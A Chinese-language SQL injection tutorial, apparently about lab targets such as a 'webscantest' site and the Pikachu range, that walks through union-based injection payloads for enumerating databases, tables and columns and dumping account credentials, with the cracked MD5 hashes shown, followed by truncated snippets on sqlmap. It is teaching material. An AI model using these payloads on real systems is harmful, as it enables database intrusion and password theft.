select * from table where id=8
select * from table where username=『admin』
select * from table where username=『yiz and 1=1』
『yiz and 1=1』 當作字元查詢了。
select * from table where username=『yiz』 and 1=1』
數字型:
select * from table where id=1 select * from table where id=1 and 1=1 id=1 and 1=1 真 正常頁面 id=1 and 1=2 假 頁面錯誤
開發者只想讓我們安裝規定輸入數字,1-2-n
但是極客想突破這個限制,想在查詢id=1 可不可執行其它內容。
判斷:and 1=1 真
and 1=2 假
邏輯判斷
程式執行過程中除了查詢id=1 以為能不能執行我們使用者想要執行內
容。id.php
第一步 判斷使用者構造的語句是否被執行。
1 and 1=1
判斷: and 1=1 真 and 1=2 假 邏輯判斷
第二步 使用者開始構造攻擊語句。
1 order by 1,2,3
判斷資料庫列數
1 and 1 order by
資料庫為4列
第三步 構造union 查詢語句。
union select 1,2,3,4
1 and 1 union select 1,2,user(),4
user()作用 查詢當前使用者許可權
webscantest@localhost
database() 查詢當前資料庫
1 and 1 union select 1,2,database(),4
當前資料庫:webscantest
mysql或資料庫中不只有乙個**資料庫。
如何查詢mysql下的所有資料庫?
1 and 1 union select 1,2,group_concat(schema_name),4 from information_schema.schemata
schema_name 所有資料庫
group_concat 查詢結果以組的方式輸出。
a資料庫
表名字段
字段內容===》賬號密碼。
b資料庫
表名字段
第四步 查詢 資料庫下的表
table_name 所有表名
table_schema 所有資料庫名
1 and 1 union select 1,group_concat(table_name),3,4 from information_schema.tables where
table_schema=database()
//查詢所有的資料庫的表名,滿足條件 資料庫為:webscantest
accounts,inventory,orders,products
第五步 查詢 資料庫表下的字段。
column_name //所有的字段
1 and 1 union select 1,group_concat(column_name),3,4 from information_schema.columns where
table_name=『accounts』
//查詢所有的資料庫的字段,滿足條件 表名為: accounts
第六步 查詢 資料庫中字段的內容。
1 and 1 union select 1,group_concat(uname,0x3a,passwd),3,4 from webscantest.accounts
admin:21232f297a57a5a743894a0e4a801fc3,testuser:179ad45c6ce2cb97cf1029e212046e81
md5:21232f297a57a5a743894a0e4a801fc3
admin
md5:179ad45c6ce2cb97cf1029e212046e81
testpass
pikachu 數字型注入 sqlmap
任意提交資料,使用bp抓包得到post方式提交的引數為 id 1 submit e6 9f a5 e8 af a2 使用sqlmap跑post方式時的格式 python2 sqlmap.py u data 使用sqlmap跑資料庫 python2 sqlmap.py u data id 1 subm...
sql數字型 字元型注入的區別
當輸入的參 x 為整型時,通常 abc.php 中 sql 語句型別大致如下 select from 表名 where id x 這種型別可以使用經典的 and 1 1 和 and 1 2 來判斷 url 位址中輸入 www.com abc.php?id x and 1 1 頁面依舊執行正常,繼續進...
Pikachu SQL注入之數字型注入和字元型注入
開始我們的實驗 數字型注入 發現有乙個下拉框,隨便選乙個查詢,並沒有在url裡面去傳參,可以發現是用post 表單 方式提交的 根據上圖yy一下後台的邏輯 id post id select 欄位1,欄位2 from 表名 where id id 正常情況下這裡的 id值為 1 6 我們換成 1 o...